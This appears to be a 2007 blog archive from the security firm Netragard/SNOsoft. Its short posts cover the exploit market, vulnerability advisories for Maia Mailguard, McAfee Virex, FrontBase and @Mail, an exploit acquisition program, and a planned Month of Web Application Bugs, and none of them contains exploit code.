Our founder, Adriel Desautels, comments about purchasing exploits in this Forbes article. The article also outlines a new business called WabiSabiLabi that is attempting to gain traction in the exploit market by using an e-bay like bidding structure. While this seems like a good idea at first glance the idea will face significant trust problems as it appears that anyone can bid on an exploit. The question that we have for WabiSabiLabi is how do they assure that the winning bidder is an ethical legitimate buyer?

Maia Mailguard Security Risk Advisory

2007-06-28T14:08:00.000-07:00

SNOsoft has discovered a high risk vulnerability in Maia Mailguard version 1.0.2 that makes it possible for an attacker to execute arbitrary commands on the affected system. The advisory will be published on Netragard's website shortly. Until then users of the Maia Mailguard web application should suspend use or add .htaccess capabilities to the web server to mitigate the risk of compromise.

SNOsoft SILC

2007-06-18T09:53:00.000-07:00

For those of you that are participating in our Exploit Acquisition Program please contact simon@snosoft.com for information on how to access our new Secure Internet Live Conferencing (SILC) server for discussing your research in a secure way. Don't try scanning for the server yourself because you won't find it and your IP address will be banned. If you have any new research or items that you would like to submit, please fill out an EAF and email it to simon@snosoft.com.

How secure are security appliances?

2007-05-24T14:04:00.000-07:00

We've started focusing on the security of appliances that are installed in corporate and government networks. To our amazement most of these appliances are more insecure than the operating systems and software that we've (being the security industry) been picking on so aggressively. In fact, we are looking at one appliance right now that is made up of software, that is unpatched, and dates back as far as 5 years. This particular appliance is vulnerable to at least 28 critical known security issues, and god knows how many other "unique" issues. Expect to see advisories from us in the future specifically focused on security appliances.

Mac Security

2007-05-23T14:02:00.000-07:00

Adriel Desautels, Netragard's CTO was interviewed by ZDNET with regards to his opinion on the security of Apple OSX. Click here to read the interview.

McAfee VirusScan for Mac (Virex) - local root compromise

2007-03-19T16:04:00.000-07:00

Netragard has released another vulnerability. This time it is a local root compromise using McAfee VirusScan for Mac. Granted this isn't all that exciting but if you're at all interested it can be found here.

http://www.netragard.com/pdfs/research/NETRAGARD-20070220.txt

FrontBase Database Advisory

2007-03-16T13:54:00.000-07:00

Kevin Finisterre found a FrontBase Database <= 4.2.7. buffer overflow vulnerabilitiy that was recently released by SNOsoft on Netragard's website. This particular vulnerability enables an attacker to gain remote access to a system. The official advisory (that contains working Proof of Concept) can be found here.

@Mail Webmail Security Research

2007-02-01T11:34:00.000-08:00

The SNOsoft Research Team recently performed a light weight security assessment of the @Mail Webmail product. @Mail is very much like OWA with respect to look, feel and functionality. The result of this research project was the discovery of two bugs in the product. These bugs were released as formal advisories by Netragard and can be viewed below:

http://www.netragard.com/pdfs/research/ATMAIL-XSRF-ADVISORY-20061206.txt
http://www.netragard.com/pdfs/research/ATMAIL-XSS-NETRAGARD-20061206.txt

Month of Web Application Bugs (MOWAB)

2007-01-04T14:18:00.000-08:00

Inspired by Kevin at digitalmunitions who also happens to be the Chief Research Officer at Netragard L.L.C., one of the original founders of SNOsoft, and his current Month of Apple Bugs (MOAB), SNOsoft will be working to produce the Month of Web Application Bugs (MOWAB). Any researchers interested in participating should email me directly at simon@snosoft.com, or just post a comment to this blog.

I should note, credit for this idea goes to Titon...